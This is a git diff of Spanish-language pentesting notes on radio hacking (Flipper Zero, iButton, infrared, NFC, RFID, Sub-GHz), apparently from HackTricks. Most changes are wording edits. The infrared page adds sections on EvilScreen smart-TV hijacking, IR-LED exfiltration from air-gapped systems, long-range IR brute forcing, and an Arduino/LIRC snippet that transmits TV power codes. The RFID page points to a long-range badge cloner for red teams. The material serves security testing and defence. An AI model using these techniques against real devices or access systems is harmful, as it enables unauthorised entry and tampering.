@@ -32,7 +33,7 @@ A veces, cuando obtienes una tarjeta, encontrarás el ID (o parte de él) escrit
 
 - **EM Marin**
 
-Por ejemplo, en esta tarjeta EM-Marin es posible **leer los últimos 3 de 5 bytes en claro**.\
+Por ejemplo, en esta tarjeta EM-Marin, en la tarjeta física es posible **leer los últimos 3 de 5 bytes en claro**.\
 Los otros 2 pueden ser forzados por fuerza bruta si no puedes leerlos de la tarjeta.
 
 
diff --git a/src/todo/radio-hacking/flipper-zero/fz-ibutton.md b/src/todo/radio-hacking/flipper-zero/fz-ibutton.md index fcb103294..6dada7da7 100644 --- a/src/todo/radio-hacking/flipper-zero/fz-ibutton.md +++ b/src/todo/radio-hacking/flipper-zero/fz-ibutton.md @@ -6,6 +6,7 @@ Para más información sobre qué es un iButton, consulta: + {{#ref}} ../ibutton.md {{#endref}} @@ -20,7 +21,7 @@ La parte **azul** de la siguiente imagen es cómo necesitarías **colocar el iBu ### Read -En Modo de Lectura, el Flipper está esperando a que la llave iButton toque y es capaz de digerir cualquiera de los tres tipos de llaves: **Dallas, Cyfral y Metakom**. El Flipper **determinará el tipo de llave por sí mismo**. El nombre del protocolo de la llave se mostrará en la pantalla sobre el número de ID. +En Modo de Lectura, el Flipper está esperando a que el iButton toque y es capaz de procesar cualquiera de los tres tipos de llaves: **Dallas, Cyfral y Metakom**. El Flipper **determinará el tipo de llave por sí mismo**. El nombre del protocolo de la llave se mostrará en la pantalla sobre el número de ID. ### Add manually @@ -30,7 +31,7 @@ Es posible **agregar manualmente** un iButton de tipo: **Dallas, Cyfral y Metako Es posible **emular** iButtons guardados (leídos o agregados manualmente). -> [!NOTE] +> [!TIP] > Si no puedes hacer que los contactos esperados del Flipper Zero toquen el lector, puedes **usar el GPIO externo:**
diff --git a/src/todo/radio-hacking/flipper-zero/fz-infrared.md b/src/todo/radio-hacking/flipper-zero/fz-infrared.md index cf4e36b90..c6856a3d4 100644 --- a/src/todo/radio-hacking/flipper-zero/fz-infrared.md +++ b/src/todo/radio-hacking/flipper-zero/fz-infrared.md @@ -12,9 +12,9 @@ Para más información sobre cómo funciona el infrarrojo, consulta: ## Receptor de Señal IR en Flipper Zero -Flipper utiliza un receptor de señal IR digital TSOP, que **permite interceptar señales de controles remotos IR**. Hay algunos **smartphones** como Xiaomi, que también tienen un puerto IR, pero ten en cuenta que **la mayoría de ellos solo pueden transmitir** señales y son **incapaces de recibirlas**. +Flipper utiliza un receptor de señal IR digital TSOP, que **permite interceptar señales de controles remotos IR**. Hay algunos **smartphones** como Xiaomi, que también tienen un puerto IR, pero ten en cuenta que **la mayoría de ellos solo pueden transmitir** señales y son **incapaces de recibir**. -El **receptor infrarrojo de Flipper es bastante sensible**. Incluso puedes **captar la señal** mientras te mantienes **en algún lugar entre** el control remoto y el televisor. No es necesario apuntar el control remoto directamente al puerto IR de Flipper. Esto es útil cuando alguien está cambiando de canal mientras está cerca del televisor, y tanto tú como Flipper están a cierta distancia. +El **receptor infrarrojo de Flipper es bastante sensible**. Puedes incluso **captar la señal** mientras te encuentras **en algún lugar entre** el control remoto y el televisor. No es necesario apuntar el control remoto directamente al puerto IR de Flipper. Esto es útil cuando alguien está cambiando de canal mientras está cerca del televisor, y tanto tú como Flipper están a cierta distancia. Como la **decodificación de la señal infrarroja** ocurre del lado del **software**, Flipper Zero potencialmente soporta la **recepción y transmisión de cualquier código de control remoto IR**. En el caso de protocolos **desconocidos** que no se pueden reconocer, **graba y reproduce** la señal en bruto exactamente como se recibió. @@ -26,7 +26,7 @@ Flipper Zero puede ser utilizado como un **control remoto universal para control Basta con presionar el botón de encendido en el modo de Control Remoto Universal, y Flipper **enviará secuencialmente comandos de "Apagar"** de todos los televisores que conoce: Sony, Samsung, Panasonic... y así sucesivamente. Cuando el televisor recibe su señal, reaccionará y se apagará. -Tal ataque de fuerza bruta toma tiempo. Cuanto más grande sea el diccionario, más tiempo tomará terminar. Es imposible averiguar qué señal exactamente reconoció el televisor, ya que no hay retroalimentación del televisor. +Este ataque de fuerza bruta toma tiempo. Cuanto más grande sea el diccionario, más tiempo llevará terminar. Es imposible averiguar qué señal exactamente reconoció el televisor, ya que no hay retroalimentación del televisor. ### Aprender Nuevo Control Remoto diff --git a/src/todo/radio-hacking/flipper-zero/fz-nfc.md b/src/todo/radio-hacking/flipper-zero/fz-nfc.md index 3e0a69be1..cd54dfc87 100644 --- a/src/todo/radio-hacking/flipper-zero/fz-nfc.md +++ b/src/todo/radio-hacking/flipper-zero/fz-nfc.md @@ -28,7 +28,7 @@ Para **tarjetas NFC tipo B, tipo F y tipo V**, Flipper Zero puede leer un UID si Flipper Zero solo puede leer un UID, SAK, ATQA y datos almacenados en tarjetas bancarias **sin guardar**. -Pantalla de lectura de tarjeta bancaria. Para tarjetas bancarias, Flipper Zero solo puede leer datos **sin guardar ni emularlos**. +Pantalla de lectura de tarjeta bancaria. Para tarjetas bancarias, Flipper Zero solo puede leer datos **sin guardar y emularlos**.
@@ -52,7 +52,7 @@ Para una introducción sobre NFC [**lee esta página**](../pentesting-rfid.md#hi ### Leer -Flipper Zero puede **leer tarjetas NFC**, sin embargo, **no entiende todos los protocolos** que se basan en ISO 14443. Sin embargo, dado que **UID es un atributo de bajo nivel**, podrías encontrarte en una situación en la que **el UID ya ha sido leído, pero el protocolo de transferencia de datos de alto nivel sigue siendo desconocido**. Puedes leer, emular e ingresar manualmente el UID usando Flipper para los lectores primitivos que utilizan UID para autorización. +Flipper Zero puede **leer tarjetas NFC**, sin embargo, **no entiende todos los protocolos** que se basan en ISO 14443. Sin embargo, dado que **UID es un atributo de bajo nivel**, podrías encontrarte en una situación en la que **el UID ya está leído, pero el protocolo de transferencia de datos de alto nivel sigue siendo desconocido**. Puedes leer, emular e ingresar manualmente el UID usando Flipper para los lectores primitivos que utilizan UID para autorización. #### Lectura del UID VS Lectura de los Datos Internos @@ -60,7 +60,7 @@ Flipper Zero puede **leer tarjetas NFC**, sin embargo, **no entiende todos los p En Flipper, la lectura de etiquetas de 13.56 MHz se puede dividir en dos partes: -- **Lectura de bajo nivel** — lee solo el UID, SAK y ATQA. Flipper intenta adivinar el protocolo de alto nivel basado en estos datos leídos de la tarjeta. No puedes estar 100% seguro de esto, ya que es solo una suposición basada en ciertos factores. +- **Lectura de bajo nivel** — solo lee el UID, SAK y ATQA. Flipper intenta adivinar el protocolo de alto nivel basado en estos datos leídos de la tarjeta. No puedes estar 100% seguro de esto, ya que es solo una suposición basada en ciertos factores. - **Lectura de alto nivel** — lee los datos de la memoria de la tarjeta utilizando un protocolo de alto nivel específico. Eso sería leer los datos en un Mifare Ultralight, leer los sectores de un Mifare Classic, o leer los atributos de la tarjeta de PayPass/Apple Pay. ### Leer Específico diff --git a/src/todo/radio-hacking/ibutton.md b/src/todo/radio-hacking/ibutton.md index 2cb279720..158048125 100644 --- a/src/todo/radio-hacking/ibutton.md +++ b/src/todo/radio-hacking/ibutton.md @@ -4,35 +4,35 @@ ## Intro -iButton es un nombre genérico para una clave de identificación electrónica empaquetada en un **contenedor metálico en forma de moneda**. También se le llama **Dallas Touch** Memory o memoria de contacto. Aunque a menudo se le llama erróneamente "clave magnética", **no hay nada magnético** en ella. De hecho, un **microchip** completo que opera en un protocolo digital está oculto en su interior. +iButton es un nombre genérico para una llave de identificación electrónica empaquetada en un **contenedor metálico en forma de moneda**. También se le llama **Dallas Touch** Memory o memoria de contacto. Aunque a menudo se le llama erróneamente una llave “magnética”, **no hay nada magnético** en ella. De hecho, un **microchip** completo que opera en un protocolo digital está oculto en su interior.
### What is iButton? -Por lo general, iButton implica la forma física de la clave y el lector: una moneda redonda con dos contactos. Para el marco que la rodea, hay muchas variaciones, desde el soporte de plástico más común con un agujero hasta anillos, colgantes, etc. +Usualmente, iButton implica la forma física de la llave y el lector: una moneda redonda con dos contactos. Para el marco que la rodea, hay muchas variaciones, desde el soporte de plástico más común con un agujero hasta anillos, colgantes, etc.
-Cuando la clave llega al lector, **los contactos se tocan** y la clave se alimenta para **transmitir** su ID. A veces, la clave **no se lee** de inmediato porque el **PSD de contacto de un intercomunicador es más grande** de lo que debería ser. Así que los contornos exteriores de la clave y el lector no podrían tocarse. Si ese es el caso, tendrás que presionar la clave contra una de las paredes del lector. +Cuando la llave llega al lector, los **contactos se tocan** y la llave se alimenta para **transmitir** su ID. A veces, la llave **no se lee** de inmediato porque el **PSD de contacto de un intercomunicador es más grande** de lo que debería ser. Así que los contornos exteriores de la llave y el lector no podrían tocarse. Si ese es el caso, tendrás que presionar la llave contra una de las paredes del lector.
### **1-Wire protocol** -Las claves Dallas intercambian datos utilizando el protocolo 1-wire. Con solo un contacto para la transferencia de datos (!!) en ambas direcciones, de maestro a esclavo y viceversa. El protocolo 1-wire funciona según el modelo Maestro-Esclavo. En esta topología, el Maestro siempre inicia la comunicación y el Esclavo sigue sus instrucciones. +Las llaves Dallas intercambian datos utilizando el protocolo 1-wire. Con solo un contacto para la transferencia de datos (!!) en ambas direcciones, de maestro a esclavo y viceversa. El protocolo 1-wire funciona según el modelo Maestro-Esclavo. En esta topología, el Maestro siempre inicia la comunicación y el Esclavo sigue sus instrucciones. -Cuando la clave (Esclavo) contacta con el intercomunicador (Maestro), el chip dentro de la clave se enciende, alimentado por el intercomunicador, y la clave se inicializa. A continuación, el intercomunicador solicita la ID de la clave. A continuación, examinaremos este proceso con más detalle. +Cuando la llave (Esclavo) contacta con el intercomunicador (Maestro), el chip dentro de la llave se enciende, alimentado por el intercomunicador, y la llave se inicializa. A continuación, el intercomunicador solicita la ID de la llave. A continuación, examinaremos este proceso con más detalle. -Flipper puede funcionar tanto en modos Maestro como Esclavo. En el modo de lectura de claves, Flipper actúa como un lector, es decir, funciona como un Maestro. Y en el modo de emulación de clave, el flipper finge ser una clave, está en modo Esclavo. +Flipper puede funcionar tanto en modos Maestro como Esclavo. En el modo de lectura de llaves, Flipper actúa como un lector, es decir, funciona como un Maestro. Y en el modo de emulación de llave, el flipper finge ser una llave, está en modo Esclavo. ### Dallas, Cyfral & Metakom keys -Para información sobre cómo funcionan estas claves, consulta la página [https://blog.flipperzero.one/taming-ibutton/](https://blog.flipperzero.one/taming-ibutton/) +Para información sobre cómo funcionan estas llaves, consulta la página [https://blog.flipperzero.one/taming-ibutton/](https://blog.flipperzero.one/taming-ibutton/) ### Attacks -Los iButtons pueden ser atacados con Flipper Zero: +iButtons pueden ser atacados con Flipper Zero: {{#ref}} flipper-zero/fz-ibutton.md diff --git a/src/todo/radio-hacking/infrared.md b/src/todo/radio-hacking/infrared.md index 9d6e6a8c7..97f277f40 100644 --- a/src/todo/radio-hacking/infrared.md +++ b/src/todo/radio-hacking/infrared.md @@ -6,7 +6,7 @@ **La luz infrarroja es invisible para los humanos**. La longitud de onda IR va de **0.7 a 1000 micrones**. Los controles remotos domésticos utilizan una señal IR para la transmisión de datos y operan en el rango de longitud de onda de 0.75..1.4 micrones. Un microcontrolador en el control remoto hace que un LED infrarrojo parpadee con una frecuencia específica, convirtiendo la señal digital en una señal IR. -Para recibir señales IR se utiliza un **fotoreceptor**. Este **convierte la luz IR en pulsos de voltaje**, que ya son **señales digitales**. Por lo general, hay un **filtro de luz oscura dentro del receptor**, que deja pasar **solo la longitud de onda deseada** y elimina el ruido. +Para recibir señales IR se utiliza un **fotoreceptor**. Este **convierte la luz IR en pulsos de voltaje**, que ya son **señales digitales**. Generalmente, hay un **filtro de luz oscura dentro del receptor**, que deja **pasar solo la longitud de onda deseada** y elimina el ruido. ### Variedad de Protocolos IR @@ -26,20 +26,20 @@ Los bits se codifican modulando la duración del espacio entre pulsos. El ancho **2. Codificación por Ancho de Pulso** -Los bits se codifican mediante la modulación del ancho del pulso. El ancho del espacio después de la ráfaga de pulsos es constante. +Los bits se codifican mediante la modulación del ancho del pulso. El ancho del espacio después de la ráfaga de pulso es constante.
**3. Codificación por Fase** -También se conoce como codificación Manchester. El valor lógico se define por la polaridad de la transición entre la ráfaga de pulsos y el espacio. "Espacio a ráfaga de pulso" denota lógica "0", "ráfaga de pulso a espacio" denota lógica "1". +También se conoce como codificación Manchester. El valor lógico se define por la polaridad de la transición entre la ráfaga de pulso y el espacio. "Espacio a ráfaga de pulso" denota lógica "0", "ráfaga de pulso a espacio" denota lógica "1".
**4. Combinación de las anteriores y otras exóticas** -> [!NOTE] -> Existen protocolos IR que **intentan volverse universales** para varios tipos de dispositivos. Los más famosos son RC5 y NEC. Desafortunadamente, lo más famoso **no significa lo más común**. En mi entorno, solo encontré dos controles remotos NEC y ninguno RC5. +> [!TIP] +> Hay protocolos IR que **intentan volverse universales** para varios tipos de dispositivos. Los más famosos son RC5 y NEC. Desafortunadamente, lo más famoso **no significa lo más común**. En mi entorno, conocí solo dos controles remotos NEC y ninguno RC5. > > A los fabricantes les encanta usar sus propios protocolos IR únicos, incluso dentro de la misma gama de dispositivos (por ejemplo, cajas de TV). Por lo tanto, los controles remotos de diferentes empresas y a veces de diferentes modelos de la misma empresa, no pueden trabajar con otros dispositivos del mismo tipo. @@ -49,24 +49,26 @@ La forma más confiable de ver cómo se ve la señal IR del control remoto es us
-Por lo general, hay un preámbulo al comienzo de un paquete codificado. Esto permite al receptor determinar el nivel de ganancia y el fondo. También hay protocolos sin preámbulo, por ejemplo, Sharp. +Generalmente, hay un preámbulo al comienzo de un paquete codificado. Esto permite al receptor determinar el nivel de ganancia y el fondo. También hay protocolos sin preámbulo, por ejemplo, Sharp. Luego se transmiten los datos. La estructura, el preámbulo y el método de codificación de bits son determinados por el protocolo específico. El **protocolo IR NEC** contiene un comando corto y un código de repetición, que se envía mientras se presiona el botón. Tanto el comando como el código de repetición tienen el mismo preámbulo al principio. -El **comando NEC**, además del preámbulo, consiste en un byte de dirección y un byte de número de comando, por el cual el dispositivo entiende qué debe realizar. Los bytes de dirección y número de comando se duplican con valores inversos, para verificar la integridad de la transmisión. Hay un bit de parada adicional al final del comando. +El **comando NEC**, además del preámbulo, consiste en un byte de dirección y un byte de número de comando, por el cual el dispositivo entiende qué debe realizarse. Los bytes de dirección y número de comando se duplican con valores inversos, para verificar la integridad de la transmisión. Hay un bit de parada adicional al final del comando. El **código de repetición** tiene un "1" después del preámbulo, que es un bit de parada. -Para **lógica "0" y "1"** NEC utiliza Codificación por Distancia de Pulso: primero, se transmite una ráfaga de pulsos después de la cual hay una pausa, cuya longitud establece el valor del bit. +Para **lógica "0" y "1"** NEC utiliza Codificación por Distancia de Pulso: primero, se transmite una ráfaga de pulso después de la cual hay una pausa, cuya longitud establece el valor del bit. ### Aires Acondicionados A diferencia de otros controles remotos, **los aires acondicionados no transmiten solo el código del botón presionado**. También **transmiten toda la información** cuando se presiona un botón para asegurar que la **máquina de aire acondicionado y el control remoto estén sincronizados**.\ -Esto evitará que una máquina configurada a 20ºC se aumente a 21ºC con un control remoto, y luego, cuando se use otro control remoto, que aún tiene la temperatura en 20ºC, se aumente más la temperatura, se "aumente" a 21ºC (y no a 22ºC pensando que está en 21ºC). +Esto evitará que una máquina configurada a 20ºC se aumente a 21ºC con un control remoto, y luego cuando se use otro control remoto, que aún tiene la temperatura en 20ºC, para aumentar más la temperatura, se "aumentará" a 21ºC (y no a 22ºC pensando que está en 21ºC). -### Ataques +--- + +## Ataques e Investigación Ofensiva Puedes atacar el Infrarrojo con Flipper Zero: @@ -74,8 +76,66 @@ Puedes atacar el Infrarrojo con Flipper Zero: flipper-zero/fz-infrared.md {{#endref}} +### Toma de Control de Smart-TV / Set-top Box (EvilScreen) + +Un trabajo académico reciente (EvilScreen, 2022) demostró que **los controles remotos multicanal que combinan Infrarrojo con Bluetooth o Wi-Fi pueden ser abusados para secuestrar completamente los smart-TVs modernos**. La cadena de ataque combina códigos de servicio IR de alto privilegio con paquetes Bluetooth autenticados, eludiendo la aislamiento de canales y permitiendo lanzamientos arbitrarios de aplicaciones, activación de micrófonos o reinicio de fábrica sin acceso físico. Ocho televisores de diferentes proveedores — incluido un modelo de Samsung que afirma cumplir con ISO/IEC 27001 — fueron confirmados como vulnerables. La mitigación requiere correcciones de firmware del proveedor o deshabilitar completamente los receptores IR no utilizados. + +### Exfiltración de Datos Air-Gapped a través de LEDs IR (familia aIR-Jumper) + +Las cámaras de seguridad, enrutadores o incluso unidades USB maliciosas a menudo incluyen **LEDs IR de visión nocturna**. La investigación muestra que el malware puede modular estos LEDs (<10–20 kbit/s con OOK simple) para **exfiltrar secretos a través de paredes y ventanas** a una cámara externa colocada a decenas de metros de distancia. Debido a que la luz está fuera del espectro visible, los operadores rara vez lo notan. Medidas de contrarresto: + +* Proteger físicamente o eliminar LEDs IR en áreas sensibles +* Monitorear el ciclo de trabajo de los LEDs de la cámara y la integridad del firmware +* Desplegar filtros de corte IR en ventanas y cámaras de vigilancia + +Un atacante también puede usar proyectores IR fuertes para **infiltrar** comandos en la red al parpadear datos de vuelta a cámaras inseguras. + +### Fuerza Bruta de Largo Alcance y Protocolos Extendidos con Flipper Zero 1.0 + +El firmware 1.0 (septiembre de 2024) agregó **docenas de protocolos IR adicionales y módulos amplificadores externos opcionales**. Combinado con el modo de fuerza bruta de control remoto universal, un Flipper puede desactivar o reconfigurar la mayoría de los televisores/aires acondicionados públicos desde hasta 30 m usando un diodo de alta potencia. + +--- + +## Herramientas y Ejemplos Prácticos + +### Hardware + +* **Flipper Zero** – transceptor portátil con modos de aprendizaje, reproducción y fuerza bruta de diccionario (ver arriba). +* **Arduino / ESP32** + LED IR / receptor TSOP38xx – analizador/transmisor DIY barato. Combinar con la biblioteca `Arduino-IRremote` (v4.x soporta >40 protocolos). +* **Analizadores lógicos** (Saleae/FX2) – capturar tiempos en bruto cuando el protocolo es desconocido. +* **Smartphones con IR-blaster** (por ejemplo, Xiaomi) – prueba rápida de campo pero con rango limitado. + +### Software + +* **`Arduino-IRremote`** – biblioteca C++ mantenida activamente: +```cpp +#include +IRsend sender; +void setup(){ sender.begin(); } +void loop(){ +sender.sendNEC(0x20DF10EF, 32); // Samsung TV Power +delay(5000); +} +``` +* **IRscrutinizer / AnalysIR** – decodificadores GUI que importan capturas en bruto e identifican automáticamente el protocolo + generan código Pronto/Arduino. +* **LIRC / ir-keytable (Linux)** – recibir e inyectar IR desde la línea de comandos: +```bash +sudo ir-keytable -p nec,rc5 -t # volcado en vivo de códigos de escaneo decodificados +irsend SEND_ONCE samsung KEY_POWER +``` + +--- + +## Medidas Defensivas + +* Desactivar o cubrir los receptores IR en dispositivos desplegados en espacios públicos cuando no sean necesarios. +* Hacer cumplir *emparejamiento* o verificaciones criptográficas entre smart-TVs y controles remotos; aislar códigos de "servicio" privilegiados. +* Desplegar filtros de corte IR o detectores de onda continua alrededor de áreas clasificadas para romper canales ópticos encubiertos. +* Monitorear la integridad del firmware de cámaras/aparatos IoT que exponen LEDs IR controlables. + ## Referencias -- [https://blog.flipperzero.one/infrared/](https://blog.flipperzero.one/infrared/) +- [Publicación del blog de Flipper Zero Infrarrojo](https://blog.flipperzero.one/infrared/) +- EvilScreen: secuestro de Smart TV a través de la imitación de control remoto (arXiv 2210.03014) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/todo/radio-hacking/pentesting-rfid.md b/src/todo/radio-hacking/pentesting-rfid.md index d579a2865..4af47b95c 100644 --- a/src/todo/radio-hacking/pentesting-rfid.md +++ b/src/todo/radio-hacking/pentesting-rfid.md @@ -4,7 +4,7 @@ ## Introducción -**La Identificación por Radiofrecuencia (RFID)** es la solución de radio de corto alcance más popular. Se utiliza generalmente para almacenar y transmitir información que identifica a una entidad. +**La Identificación por Radiofrecuencia (RFID)** es la solución de radio de corto alcance más popular. Se utiliza generalmente para almacenar y transmitir información que identifica una entidad. Una etiqueta RFID puede depender de **su propia fuente de energía (activa)**, como una batería integrada, o recibir su energía de la antena lectora utilizando la corriente **inducida por las ondas de radio recibidas** (**pasiva**). @@ -13,7 +13,7 @@ Una etiqueta RFID puede depender de **su propia fuente de energía (activa)**, c EPCglobal divide las etiquetas RFID en seis categorías. Una etiqueta en cada categoría tiene todas las capacidades listadas en la categoría anterior, lo que la hace compatible hacia atrás. - Las etiquetas de **Clase 0** son etiquetas **pasivas** que operan en bandas de **UHF**. El proveedor las **preprograma** en la fábrica de producción. Como resultado, **no se puede cambiar** la información almacenada en su memoria. -- Las etiquetas de **Clase 1** también pueden operar en bandas de **HF**. Además, pueden ser **escritas solo una vez** después de la producción. Muchas etiquetas de Clase 1 también pueden procesar **comprobaciones de redundancia cíclica** (CRCs) de los comandos que reciben. Los CRC son algunos bytes adicionales al final de los comandos para la detección de errores. +- Las etiquetas de **Clase 1** también pueden operar en bandas de **HF**. Además, pueden ser **escritas solo una vez** después de la producción. Muchas etiquetas de Clase 1 también pueden procesar **comprobaciones de redundancia cíclica** (CRCs) de los comandos que reciben. Los CRC son unos pocos bytes adicionales al final de los comandos para la detección de errores. - Las etiquetas de **Clase 2** pueden ser **escritas múltiples veces**. - Las etiquetas de **Clase 3** pueden contener **sensores integrados** que pueden registrar parámetros ambientales, como la temperatura actual o el movimiento de la etiqueta. Estas etiquetas son **semi-pasivas**, porque aunque **tienen** una fuente de energía integrada, como una **batería** integrada, **no pueden iniciar** la **comunicación** inalámbrica con otras etiquetas o lectores. - Las etiquetas de **Clase 4** pueden iniciar comunicación con otras etiquetas de la misma clase, lo que las convierte en **etiquetas activas**. @@ -31,7 +31,7 @@ La mayoría de los **controles de seguridad** RFID tienen mecanismos que **restr
-## Etiquetas RFID de Baja Frecuencia (125 kHz) +## Etiquetas RFID de Baja Frecuencia (125kHz) Las **etiquetas de baja frecuencia** se utilizan a menudo en sistemas que **no requieren alta seguridad**: acceso a edificios, llaves de intercomunicador, tarjetas de membresía de gimnasio, etc. Debido a su mayor rango, son convenientes para usar en estacionamientos de pago: el conductor no necesita acercar la tarjeta al lector, ya que se activa desde más lejos. Al mismo tiempo, las etiquetas de baja frecuencia son muy primitivas, tienen una baja tasa de transferencia de datos. Por esa razón, es imposible implementar una transferencia de datos bidireccional compleja para cosas como mantener el saldo y la criptografía. Las etiquetas de baja frecuencia solo transmiten su ID corta sin ningún medio de autenticación. @@ -45,7 +45,7 @@ Estos dispositivos dependen de la tecnología **RFID** **pasiva** y operan en un - **EM-Marin** — EM4100, EM4102. El protocolo más popular en la CEI. Puede ser leído desde aproximadamente un metro debido a su simplicidad y estabilidad. - **HID Prox II** — protocolo de baja frecuencia introducido por HID Global. Este protocolo es más popular en los países occidentales. Es más complejo y las tarjetas y lectores para este protocolo son relativamente caros. -- **Indala** — protocolo de baja frecuencia muy antiguo que fue introducido por Motorola, y más tarde adquirido por HID. Es menos probable que lo encuentres en la naturaleza en comparación con los dos anteriores porque está cayendo en desuso. +- **Indala** — protocolo de baja frecuencia muy antiguo que fue introducido por Motorola, y más tarde adquirido por HID. Es menos probable que lo encuentres en la naturaleza en comparación con los dos anteriores porque está en desuso. En realidad, hay muchos más protocolos de baja frecuencia. Pero todos utilizan la misma modulación en la capa física y pueden considerarse, de una forma u otra, una variación de los listados anteriormente. @@ -62,17 +62,17 @@ flipper-zero/fz-125khz-rfid.md Las **etiquetas de alta frecuencia** se utilizan para una interacción más compleja entre el lector y la etiqueta cuando se necesita criptografía, una gran transferencia de datos bidireccional, autenticación, etc.\ Se encuentran generalmente en tarjetas bancarias, transporte público y otros pases seguros. -**Las etiquetas de alta frecuencia de 13.56 MHz son un conjunto de estándares y protocolos**. A menudo se les llama [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), pero eso no siempre es correcto. El conjunto de protocolos básicos utilizados en los niveles físico y lógico es ISO 14443. Los protocolos de alto nivel, así como los estándares alternativos (como ISO 19092), se basan en él. Muchas personas se refieren a esta tecnología como **Comunicación de Campo Cercano (NFC)**, un término para dispositivos que operan en la frecuencia de 13.56 MHz. +**Las etiquetas de alta frecuencia de 13.56 MHz son un conjunto de estándares y protocolos**. Se les suele llamar [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), pero eso no siempre es correcto. El conjunto de protocolos básicos utilizados en los niveles físico y lógico es ISO 14443. Los protocolos de alto nivel, así como los estándares alternativos (como ISO 19092), se basan en él. Muchas personas se refieren a esta tecnología como **Comunicación de Campo Cercano (NFC)**, un término para dispositivos que operan en la frecuencia de 13.56 MHz.
-Para simplificar, la arquitectura de NFC funciona así: el protocolo de transmisión es elegido por la empresa que fabrica las tarjetas e implementado basado en el ISO 14443 de bajo nivel. Por ejemplo, NXP inventó su propio protocolo de transmisión de alto nivel llamado Mifare. Pero a un nivel más bajo, las tarjetas Mifare se basan en el estándar ISO 14443-A. +Para simplificar, la arquitectura de NFC funciona así: el protocolo de transmisión es elegido por la empresa que fabrica las tarjetas e implementado basado en el ISO 14443 de bajo nivel. Por ejemplo, NXP inventó su propio protocolo de transmisión de alto nivel llamado Mifare. Pero a un nivel inferior, las tarjetas Mifare se basan en el estándar ISO 14443-A. Flipper puede interactuar tanto con el protocolo ISO 14443 de bajo nivel, como con el protocolo de transferencia de datos Mifare Ultralight y EMV utilizado en tarjetas bancarias. Estamos trabajando en agregar soporte para Mifare Classic y NFC NDEF. Un análisis exhaustivo de los protocolos y estándares que componen NFC merece un artículo separado que planeamos publicar más adelante. Todas las tarjetas de alta frecuencia basadas en el estándar ISO 14443-A tienen un ID de chip único. Actúa como el número de serie de la tarjeta, como la dirección MAC de una tarjeta de red. **Por lo general, el UID tiene 4 o 7 bytes de longitud**, pero rara vez puede **llegar hasta 10**. Los UIDs no son un secreto y son fácilmente legibles, **a veces incluso impresos en la propia tarjeta**. -Hay muchos sistemas de control de acceso que dependen del UID para **autenticar y otorgar acceso**. A veces esto sucede **incluso** cuando las etiquetas RFID **soportan criptografía**. Tal **uso indebido** las reduce al nivel de las **tarjetas de 125 kHz** en términos de **seguridad**. Las tarjetas virtuales (como Apple Pay) utilizan un UID dinámico para que los propietarios de teléfonos no puedan abrir puertas con su aplicación de pago. +Hay muchos sistemas de control de acceso que dependen del UID para **autenticar y otorgar acceso**. A veces esto sucede **incluso** cuando las etiquetas RFID **soportan criptografía**. Tal **mal uso** las reduce al nivel de las **tarjetas de 125 kHz** en términos de **seguridad**. Las tarjetas virtuales (como Apple Pay) utilizan un UID dinámico para que los propietarios de teléfonos no puedan abrir puertas con su aplicación de pago. - **Bajo alcance** — las tarjetas de alta frecuencia están diseñadas específicamente para que deban ser colocadas cerca del lector. Esto también ayuda a proteger la tarjeta de interacciones no autorizadas. El rango máximo de lectura que logramos alcanzar fue de aproximadamente 15 cm, y eso fue con lectores de alto rango hechos a medida. - **Protocolos avanzados** — las velocidades de transferencia de datos de hasta 424 kbps permiten protocolos complejos con transferencia de datos bidireccional completa. Lo que a su vez **permite criptografía**, transferencia de datos, etc. @@ -92,9 +92,9 @@ O usando el **proxmark**: proxmark-3.md {{#endref}} -### Construyendo un Clonador Móvil HID MaxiProx de 125 kHz +### Construyendo un Clonador Móvil HID MaxiProx 125 kHz -Si necesitas una solución **de largo alcance**, **alimentada por batería** para recolectar insignias HID Prox® durante compromisos de red team, puedes convertir el lector montado en pared **HID MaxiProx 5375** en un clonador autónomo que quepa en una mochila. El recorrido mecánico y eléctrico completo está disponible aquí: +Si necesitas una solución **de largo alcance**, **alimentada por batería** para recolectar insignias HID Prox® durante compromisos de equipo rojo, puedes convertir el lector **HID MaxiProx 5375** montado en la pared en un clonador autónomo que quepa en una mochila. El recorrido mecánico y eléctrico completo está disponible aquí: {{#ref}} maxiprox-mobile-cloner.md diff --git a/src/todo/radio-hacking/sub-ghz-rf.md b/src/todo/radio-hacking/sub-ghz-rf.md index ce6f79bb7..d6cd358bd 100644 --- a/src/todo/radio-hacking/sub-ghz-rf.md +++ b/src/todo/radio-hacking/sub-ghz-rf.md @@ -6,9 +6,9 @@ Los abridores de puertas de garaje suelen operar en frecuencias en el rango de 300-190 MHz, siendo las frecuencias más comunes 300 MHz, 310 MHz, 315 MHz y 390 MHz. Este rango de frecuencia se utiliza comúnmente para abridores de puertas de garaje porque está menos congestionado que otras bandas de frecuencia y es menos probable que experimente interferencias de otros dispositivos. -## Puertas de Automóviles +## Puertas de Autos -La mayoría de los llaveros de automóviles operan en **315 MHz o 433 MHz**. Estas son ambas frecuencias de radio, y se utilizan en una variedad de aplicaciones diferentes. La principal diferencia entre las dos frecuencias es que 433 MHz tiene un rango más largo que 315 MHz. Esto significa que 433 MHz es mejor para aplicaciones que requieren un rango más largo, como el acceso remoto sin llave.\ +La mayoría de los llaveros de autos operan en **315 MHz o 433 MHz**. Estas son ambas frecuencias de radio, y se utilizan en una variedad de aplicaciones diferentes. La principal diferencia entre las dos frecuencias es que 433 MHz tiene un rango más largo que 315 MHz. Esto significa que 433 MHz es mejor para aplicaciones que requieren un rango más largo, como el acceso remoto sin llave.\ En Europa, 433.92MHz se utiliza comúnmente y en EE. UU. y Japón es 315MHz. ## **Ataque de Fuerza Bruta** @@ -39,9 +39,9 @@ flipper-zero/fz-sub-ghz.md ## Protección de Códigos Rodantes -Los abridores automáticos de puertas de garaje suelen utilizar un control remoto inalámbrico para abrir y cerrar la puerta del garaje. El control remoto **envía una señal de frecuencia de radio (RF)** al abridor de la puerta del garaje, que activa el motor para abrir o cerrar la puerta. +Los abridores automáticos de puertas de garaje suelen utilizar un control remoto inalámbrico para abrir y cerrar la puerta del garaje. El control remoto **envía una señal de radiofrecuencia (RF)** al abridor de la puerta del garaje, que activa el motor para abrir o cerrar la puerta. -Es posible que alguien use un dispositivo conocido como un code grabber para interceptar la señal RF y grabarla para su uso posterior. Esto se conoce como un **ataque de repetición**. Para prevenir este tipo de ataque, muchos abridores de puertas de garaje modernos utilizan un método de cifrado más seguro conocido como un sistema de **código rodante**. +Es posible que alguien use un dispositivo conocido como un capturador de códigos para interceptar la señal RF y grabarla para su uso posterior. Esto se conoce como un 